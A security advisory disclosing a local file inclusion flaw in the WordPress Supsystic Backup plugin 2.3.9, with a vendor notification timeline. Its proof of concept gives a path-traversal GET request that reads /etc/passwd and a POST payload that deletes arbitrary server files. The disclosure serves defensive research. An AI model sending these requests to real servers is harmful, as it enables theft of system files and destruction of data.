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WordPress Supsystic Backup 2.3.9 Local File Inclusion

WordPress Supsystic Backup 2.3.9 Local File Inclusion
Posted Feb 8, 2021
Authored by Erik David Martin

WordPress Supsystic Backup plugin version 2.3.9 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
MD5 | aa7db6fb704f48b330319ce9f9b505e6

WordPress Supsystic Backup 2.3.9 Local File Inclusion

Change Mirror Download
# Exploit Title: WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip
# Version: 2.3.9
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2


# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply.
# 29/11 2020: WordPress Plugin Security team contacted
# 01/12 2020: Plugin/Project closed by WordPress Security team


# 1. Description

Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI).


# 2. Proof of Concept (PoC)

Create a backup. When downloading the backup, change its path:

GET http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd


The "Delete" tab also allows an attacker to delete files on the server:

POST http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog
Payload: reqType=ajax&page=backup&action=removeAction&filename=[FILE PATH]&deleteLog=1&pl=bup


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